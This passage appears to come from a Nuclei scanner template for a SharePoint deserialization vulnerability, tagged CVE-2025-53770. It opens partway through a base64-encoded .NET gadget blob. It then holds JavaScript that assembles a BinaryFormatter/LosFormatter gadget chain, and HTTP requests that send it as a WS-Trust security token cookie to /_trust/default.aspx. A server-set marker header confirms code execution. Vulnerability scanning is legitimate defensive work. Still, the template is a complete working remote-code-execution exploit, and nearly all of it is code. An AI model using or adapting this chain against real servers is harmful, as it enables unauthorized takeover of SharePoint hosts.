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bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAGIgAAAEtTeXN0ZW0uQ29yZSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQEAAAAAcAAAAJAwAAAAoJJAAAAAoICAAAAAAKCAgBAAAAAREAAAAPAAAABiUAAAD1AlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQEgAAAAcAAAAJBAAAAAoJKAAAAAoICAAAAAAKCAgBAAAAARMAAAAPAAAABikAAADfA1N5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkiAAAAEBQAAAAHAAAACQUAAAAKCSwAAAAKCAgAAAAACggIAQAAAAEVAAAADwAAAAYtAAAA5gJTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkiAAAAEBYAAAAHAAAACQYAAAAJMAAAAAkxAAAACggIAAAAAAoICAEAAAABFwAAAA8AAAAGMgAAAO8BU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQGAAAAAcAAAAJBwAAAAoJNQAAAAoICAAAAAAKCAgBAAAAARkAAAAPAAAABjYAAAApU3lzdGVtLldlYi5VSS5XZWJDb250cm9scy5QYWdlZERhdGFTb3VyY2UEAAAABjcAAABKU3lzdGVtLldlYixWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EQGgAAAAcAAAAJCAAAAAgIAAAAAAgICgAAAAgBAAgBAAgBAAgIAAAAAAEbAAAADwAAAAY5AAAAKVN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24uRGVzaWduZXJWZXJiBAAAAAY6AAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQHAAAAAUAAAANAgk7AAAACAgDAAAACQsAAAABHQAAAA8AAAAGPQAAADRTeXN0ZW0uUnVudGltZS5SZW1vdGluZy5DaGFubmVscy5BZ2dyZWdhdGVEaWN0aW9uYXJ5BAAAAAY+AAAACG1zY29ybGliEB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAAA7U3lzdGVtLkZ1bmNgMltbU3lzdGVtLkJ5dGVbXV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XV0JPgAAAAoJPgAAAAZSAAAAGlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5BlMAAAAETG9hZAoEQwAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgYAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAAMIDVN5c3RlbS5UeXBlW10JUwAAAAk+AAAACVIAAAAGVgAAACdTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgFEAAAAQgAAAAZXAAAAZVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGVdXV1dCT4AAAAKCT4AAAAJUgAAAAZaAAAACEdldFR5cGVzCgFFAAAAQwAAAAlaAAAACT4AAAAJUgAAAAZdAAAAGFN5c3RlbS5UeXBlW10gR2V0VHlwZXMoKQgAAAAKAUYAAABCAAAABl4AAACCAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlXV1dLFtTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZV1dXV0JPgAAAAoJPgAAAAZgAAAAN1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlXV0GYQAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAlhAAAACT4AAAAJYAAAAAZkAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQgAAAAKAUgAAABCAAAABmUAAABZU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGVdXV0sW1N5c3RlbS5Cb29sZWFuXV0JPgAAAAoJPgAAAAZnAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZoAAAACE1vdmVOZXh0CgFJAAAAQwAAAAloAAAACT4AAAAJZwAAAAZrAAAAEkJvb2xlYW4gTW92ZU5leHQoKQgAAAAKAUoAAABCAAAABmwAAABWU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGVdXV0sW1N5c3RlbS5UeXBlXV0JPgAAAAoJPgAAAAZuAAAAN1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlXV0GbwAAAAtnZXRfQ3VycmVudAoBSwAAAEMAAAAJbwAAAAk+AAAACW4AAAAGcgAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGcwAAACxTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uVHlwZV0sW1N5c3RlbS5PYmplY3RdXQk+AAAACgk+AAAABnUAAAAQU3lzdGVtLkFjdGl2YXRvcgZ2AAAADkNyZWF0ZUluc3RhbmNlCgFNAAAAQwAAAAl2AAAACT4AAAAJdQAAAAZ5AAAAKVN5c3RlbS5PYmplY3QgQ3JlYXRlSW5zdGFuY2UoU3lzdGVtLlR5cGUpCAAAAAoBTgAAAA8AAAAGegAAACZTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkNvbW1hbmRJRAQAAAAJOgAAABBPAAAAAgAAAAl8AAAACAgAIAAABHwAAAALU3lzdGVtLkd1aWQLAAAAAl9hAl9iAl9jAl9kAl9lAl9mAl9nAl9oAl9pAl9qAl9rAAAAAAAAAAAAAAAIBwcCAgICAgICAhMT0nTuKtERi/sAoMkPJvcL'

flow: javascript() && http(1) && http(2)

javascript:
  - code: |
        const bytess = require("nuclei/bytes");

        function u8(arr) { return new Uint8Array(arr); }

        function strToBuf(str) {
          var b = new bytess.Buffer();
          b.WriteString(str);
          return b;
        }

        function encode7BitInt(n) {
          if (n === 0) return new bytess.Buffer(u8([0]));
          var tmp = [];
          while (n > 0) {
            var v = n & 0x7F;
            n >>>= 7;
            if (n > 0) v |= 0x80;
            tmp.push(v);
          }
          return new bytess.Buffer(u8(tmp));
        }

        function replaceAllBytes(hay, needle, repl) {
          var H = hay.Bytes();
          var N = needle.Bytes();
          var out = new bytess.Buffer();
          for (var i = 0; i < H.length;) {
            var match = true;
            for (var j = 0; j < N.length; j++) {
              if (i + j >= H.length || H[i + j] !== N[j]) { match = false; break; }
            }
            if (match) {
              out.Write(repl.Bytes());
              i += N.length;
            } else {
              out.Write(u8([H[i]]));
              i++;
            }
          }
          return out;
        }

        function rawDeflateStored(data) {
          var bytes = data.Bytes();
          var maxBlock = 65535;
          var out = new bytess.Buffer();
          for (var offset = 0; offset < bytes.length; offset += maxBlock) {
            var blockSize = Math.min(bytes.length - offset, maxBlock);
            var isLast = (offset + blockSize >= bytes.length) ? 1 : 0;
            // BFINAL|BTYPE(00): for stored block BTYPE=00, first byte = BFINAL (1 bit) | 0 | 0
            out.Write(u8([isLast]));
            // LEN (2-byte LE) and NLEN = one's complement of LEN (2-byte LE)
            var nlen = (~blockSize) & 0xFFFF;
            out.Write(u8([blockSize & 0xFF, (blockSize >> 8) & 0xFF]));
            out.Write(u8([nlen & 0xFF, (nlen >> 8) & 0xFF]));
            out.Write(u8(bytes.slice(offset, offset + blockSize)));
          }
          return out;
        }

        // Build DataSet BinaryFormatter gadget with inner gadget replacing HAX placeholder.
        // HAX is a 3-byte placeholder inside the DataSet BinaryFormatter binary representing
        // the base64-encoded inner LosFormatter gadget string. The DataSet gadget decodes the
        // base64 string and passes the binary to LosFormatter.Deserialize().
        dataset_gadget_raw = strToBuf(atob(dg));
        dataset_gadget_raw1 = replaceAllBytes(
          dataset_gadget_raw,
          strToBuf("HAX"),
          strToBuf(ig)
        );
        dataset_gadget_raw2 = replaceAllBytes(
          dataset_gadget_raw,
          strToBuf("HAX"),
          strToBuf(ig2)
        );

        var oldLen = encode7BitInt(9163);
        var newLen = encode7BitInt(9163 - 7772 + ig.length);
        var newLen2 = encode7BitInt(9163 - 7772 + ig2.length);
        dataset_gadget_raw1 = replaceAllBytes(dataset_gadget_raw1, oldLen, newLen);
        dataset_gadget_raw2 = replaceAllBytes(dataset_gadget_raw2, oldLen, newLen2);

        var deflated1 = rawDeflateStored(dataset_gadget_raw1);
        var deflated2 = rawDeflateStored(dataset_gadget_raw2);

        (btoa(deflated1.String()) + ":" + btoa(deflated2.String()))

    args:
      ig: "{{internal_gadget_b64}}"
      ig2: "{{internal_gadget2_b64}}"
      dg: "{{dataset_gadget_b64}}"

http:
  - raw:
      - |
        GET /_trust/default.aspx HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "microsoftsharepointteamservices")'
        internal: true

  - raw:
      - |
        POST /_trust/default.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        wa=wsignin1.0&wctx={{url_encode(RootURL + "/")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc="http://schemas.xmlsoap.org/ws/2005/02/sc"><sc:Identifier>urn:unique-id:securitycontext:nuclei', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns="http://schemas.microsoft.com/ws/2006/05/security">', replace_regex(javascript_response, ":.*", ""), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}

      - |
        POST /_trust/default.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        wa=wsignin1.0&wctx={{url_encode(RootURL + "/")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc="http://schemas.xmlsoap.org/ws/2005/02/sc"><sc:Identifier>urn:unique-id:securitycontext:nuclei', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns="http://schemas.microsoft.com/ws/2006/05/security">', replace_regex(javascript_response, ".*:", ""), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "x-nuclei")'
# digest: 4b0a00483046022100aa1812e53c97a334b92c5b96e5c39b53ff2f0151a04e69216759178e9446739a0221009987d6e5bb87ce41064c4d6dafe39c3301a2116051cfc48c695efa4708102f51:922c64590222798bb761d5b6d8e72950